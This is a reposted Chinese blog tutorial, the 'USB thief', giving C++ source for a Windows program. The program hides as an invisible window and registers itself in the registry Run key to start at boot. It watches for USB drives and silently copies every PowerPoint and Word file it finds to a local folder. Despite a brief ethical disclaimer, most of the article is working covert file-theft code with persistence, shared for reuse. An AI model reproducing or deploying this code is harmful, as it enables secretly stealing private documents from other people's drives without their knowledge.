U盘小偷——C++实现U盘插入检测和文件扫描拷贝

2023-11-21 03:59
文章标签 c++ 实现 检测 扫描 插入 拷贝 小偷

本文主要是介绍U盘小偷——C++实现U盘插入检测和文件扫描拷贝，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

前几天女朋友说老师上课的PPT不共享，没法复习，想着写个U盘小偷拷贝PPT来着，后来觉得这样的行为这是不对的，万一不小心复制了老师的专利啥的，或者一些不可描述的东西，就闹大了。

虽然没有采取实际行动，但是相关的功能还是实现，技术共享。

重点就是U盘插入监控，获得U盘盘符，开机自启动，文件扫描和复制。

 

1.对u盘插入行为监控，并获得盘符

　　当U盘插入的时候会产生一个消息WM_DEVICECHANG，只要我们获得这个消息，然后进行处理就行。

　　为了获得消息，我们需要一个窗口

　　

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,PSTR szCmdLine, int iCmdShow)
{static TCHAR szAppName[] = TEXT("UUUUUU");HWND               hwnd;MSG                msg;WNDCLASS           wndclass;wndclass.style = 0;wndclass.lpfnWndProc = WndProc;wndclass.cbClsExtra = 0;wndclass.cbWndExtra = 0;wndclass.hInstance = hInstance;wndclass.hIcon = 0;wndclass.hCursor = 0;wndclass.hbrBackground = 0;wndclass.lpszMenuName = NULL;wndclass.lpszClassName = szAppName;SetAutoRun(TRUE);if (!RegisterClass(&wndclass)){MessageBox(NULL, TEXT("Program requires Windows NT!"),szAppName, MB_ICONERROR);return 0;}hwnd = CreateWindow(szAppName, NULL,WS_DISABLED,0, 0,0, 0,NULL, NULL, hInstance, NULL);while (GetMessage(&msg, NULL, 0, 0)){TranslateMessage(&msg);DispatchMessage(&msg);}return msg.wParam;
}

　　窗口回调函数：

LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAMlParam)
{switch (message){case WM_CREATE:           //处理一些要下面要用到的全局变量U[1] = ':';SetTimer(hwnd, TIMER, 5000, 0);//启动计时器return 0;case WM_TIMER:             //timer message 
SendMessage(hwnd, WM_DEVICECHANGE, 0, 0);//检测有没有插入设备消息return 0;case WM_DEVICECHANGE:OnDeviceChange(hwnd, wParam, lParam);return 0;case WM_DESTROY:KillTimer(hwnd, TIMER);PostQuitMessage(0);return 0;}return DefWindowProc(hwnd, message, wParam, lParam);
}
　　OnDeviceChange函数是对WM_DEVICECHANGE消息的处理，在这个函数里，就可以实现对u盘插入行为的监控，并处理。
LRESULT OnDeviceChange(HWND hwnd, WPARAM wParam, LPARAM lParam)
{PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;switch (wParam){case DBT_DEVICEARRIVAL: //插入if (lpdb->dbch_devicetype == DBT_DEVTYP_VOLUME){PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;U[0] = FirstDriveFromMask(lpdbv->dbcv_unitmask);//得到u盘盘符//MessageBox(0, U, "Notice!", MB_OK);string Utemp;Utemp = U;//    Utemp += "\\";Filesearch(Utemp, 0);  //搜索u盘CopyPPT(FileList);    //复制pptCopyDOC(FileList);    //复制doc//MessageBox(0, "Copy Success", "Notice!", MB_OK);
}break;case DBT_DEVICEREMOVECOMPLETE: //设备删除//MessageBox(0, "u盘退出", "Notice!", MB_OK);break;}return LRESULT();
}
　　FirstDriveFromMask(lpdbv->dbcv_unitmask);可以获得盘符，有了盘符，U盘就相当于一个普通的文件夹了。

2.文件遍历 查找 搜索 复制
void Filesearch(string Path, int Layer)
{FileInfo FileInfomation;struct _finddata_t filefind;string Current = Path + "\\*.*";                            // 修改此处改变搜索条件int Done = 0, i, Handle;string FullPath;if ((Handle = _findfirst(Current.c_str(), &filefind)) != -1){while (!(Done = _findnext(Handle, &filefind))){if (strcmp(filefind.name, "..") == 0)continue;for (i = 0; i <Layer; i++)printf("\t");if ((_A_SUBDIR == filefind.attrib))                // 是目录
            {printf("[Dir]:\t%s\n", filefind.name);Current = Path + "\\" + filefind.name;Filesearch(Current, Layer + 1);                    // 递归遍历子目录
            }else{printf("[File]:\t%s\n", filefind.name);FullPath = Path + "\\" + filefind.name;FileInfomation.Name = filefind.name;FileInfomation.FullPath = FullPath;FileList.push_back(FileInfomation);FullPath.empty();}}_findclose(Handle);}
}void CopyPPT(vector<FileInfo> FileList)
{mkdir("C:\\Destest");for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator){string TempPath;//printf("%s\r\n", iterator->);if ((int)(iterator->Name.find(".ppt")) > 0){TempPath = DesPath + "\\" + iterator->Name ;BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);cout << GetLastError();if (bOk == TRUE){//    MessageBox(0, "Copy Success", "Notice!", MB_OK);
}else{//    MessageBox(0, "Copy Fail", "Notice!", MB_OK);
                }}}
}void CopyDOC(vector<FileInfo> FileList)
{mkdir("C:\\Destest");for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator){string TempPath;//printf("%s\r\n", iterator->);if ((int)(iterator->Name.find(".doc")) > 0){TempPath = DesPath + "\\" + iterator->Name;BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);cout << GetLastError();if (bOk == TRUE){//    MessageBox(0, "Copy Success", "Notice!", MB_OK);
}else{//    MessageBox(0, "Copy Fail", "Notice!", MB_OK);
            }}}
}


3.开机自启动 注册表实现
void SetAutoRun(BOOL bAutoRun)
{HKEY hKey;char* strRegPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";//找到系统的启动项  if (bAutoRun){if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) //打开启动项       
        {TCHAR szModule[_MAX_PATH];GetModuleFileName(NULL, szModule, _MAX_PATH);//得到本程序自身的全路径  RegSetValueEx(hKey, "U盘检测", 0, REG_SZ, (const BYTE*)(LPCSTR)szModule, strlen(szModule)); //添加一个子Key,并设置值，"Client"是应用程序名字（不加后缀.exe）  RegCloseKey(hKey); //关闭注册表  
        }else{//    MessageBox("系统参数错误,不能随系统启动");
        }}else{if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS){RegDeleteValue(hKey, "U盘检测");RegCloseKey(hKey);}}
}

 

Win10下可以实现功能，另外这不是控制台程序，为了实现对消息的监控，这得是窗口程序。

 

猥琐的小程序可能包含一些奇淫技巧，但是还是不能做非法不道德事。



 

转载于:https://www.cnblogs.com/HsinTsao/p/6718806.html

这篇关于U盘小偷——C++实现U盘插入检测和文件扫描拷贝的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/399659。

相关文章

Python实现终端清屏的几种方式详解

Python实现终端清屏的几种方式详解

《Python实现终端清屏的几种方式详解》在使用Python进行终端交互式编程时,我们经常需要清空当前终端屏幕的内容,本文为大家整理了几种常见的实现方法,有需要的小伙伴可以参考下... 目录方法一：使用 `os` 模块调用系统命令方法二：使用 `subprocess` 模块执行命令方法三：打印多个换行符模拟
阅读更多...
SpringBoot+EasyPOI轻松实现Excel和Word导出PDF

SpringBoot+EasyPOI轻松实现Excel和Word导出PDF

《SpringBoot+EasyPOI轻松实现Excel和Word导出PDF》在企业级开发中,将Excel和Word文档导出为PDF是常见需求,本文将结合​​EasyPOI和​​Aspose系列工具实... 目录一、环境准备与依赖配置1.1 方案选型1.2 依赖配置（商业库方案）二、Excel 导出 PDF
阅读更多...
Python实现MQTT通信的示例代码

Python实现MQTT通信的示例代码

《Python实现MQTT通信的示例代码》本文主要介绍了Python实现MQTT通信的示例代码,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一... 目录1. 安装paho-mqtt库‌2. 搭建MQTT代理服务器（Broker）‌‌3. pytho
阅读更多...
使用zip4j实现Java中的ZIP文件加密压缩的操作方法

使用zip4j实现Java中的ZIP文件加密压缩的操作方法

《使用zip4j实现Java中的ZIP文件加密压缩的操作方法》本文介绍如何通过Maven集成zip4j1.3.2库创建带密码保护的ZIP文件,涵盖依赖配置、代码示例及加密原理,确保数据安全性,感兴趣的... 目录1. zip4j库介绍和版本1.1 zip4j库概述1.2 zip4j的版本演变1.3 zip4
阅读更多...
python生成随机唯一id的几种实现方法

python生成随机唯一id的几种实现方法

《python生成随机唯一id的几种实现方法》在Python中生成随机唯一ID有多种方法,根据不同的需求场景可以选择最适合的方案,文中通过示例代码介绍的非常详细,需要的朋友们下面随着小编来一起学习学习... 目录方法 1：使用 UUID 模块（推荐）方法 2：使用 Secrets 模块（安全敏感场景）方法
阅读更多...
C++中全局变量和局部变量的区别

C++中全局变量和局部变量的区别

《C++中全局变量和局部变量的区别》本文主要介绍了C++中全局变量和局部变量的区别,全局变量和局部变量在作用域和生命周期上有显著的区别,下面就来介绍一下,感兴趣的可以了解一下... 目录一、全局变量定义生命周期存储位置代码示例输出二、局部变量定义生命周期存储位置代码示例输出三、全局变量和局部变量的区别作用域
阅读更多...
C++中assign函数的使用

C++中assign函数的使用

《C++中assign函数的使用》在C++标准模板库中,std::list等容器都提供了assign成员函数,它比操作符更灵活,支持多种初始化方式,下面就来介绍一下assign的用法,具有一定的参考价... 目录​1.assign的基本功能​​语法​2. 具体用法示例​​​(1) 填充n个相同值​​(2)
阅读更多...
Spring StateMachine实现状态机使用示例详解

Spring StateMachine实现状态机使用示例详解

《SpringStateMachine实现状态机使用示例详解》本文介绍SpringStateMachine实现状态机的步骤,包括依赖导入、枚举定义、状态转移规则配置、上下文管理及服务调用示例,重点解... 目录什么是状态机使用示例什么是状态机状态机是计算机科学中的​​核心建模工具​​，用于描述对象在其生命
阅读更多...
Spring Boot 结合 WxJava 实现文章上传微信公众号草稿箱与群发

Spring Boot 结合 WxJava 实现文章上传微信公众号草稿箱与群发

《SpringBoot结合WxJava实现文章上传微信公众号草稿箱与群发》本文将详细介绍如何使用SpringBoot框架结合WxJava开发工具包,实现文章上传到微信公众号草稿箱以及群发功能,... 目录一、项目环境准备1.1 开发环境1.2 微信公众号准备二、Spring Boot 项目搭建2.1 创建
阅读更多...
IntelliJ IDEA2025创建SpringBoot项目的实现步骤

IntelliJ IDEA2025创建SpringBoot项目的实现步骤

《IntelliJIDEA2025创建SpringBoot项目的实现步骤》本文主要介绍了IntelliJIDEA2025创建SpringBoot项目的实现步骤,文中通过示例代码介绍的非常详细,对大家... 目录一、创建 Spring Boot 项目1. 新建项目2. 基础配置3. 选择依赖4. 生成项目5.
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2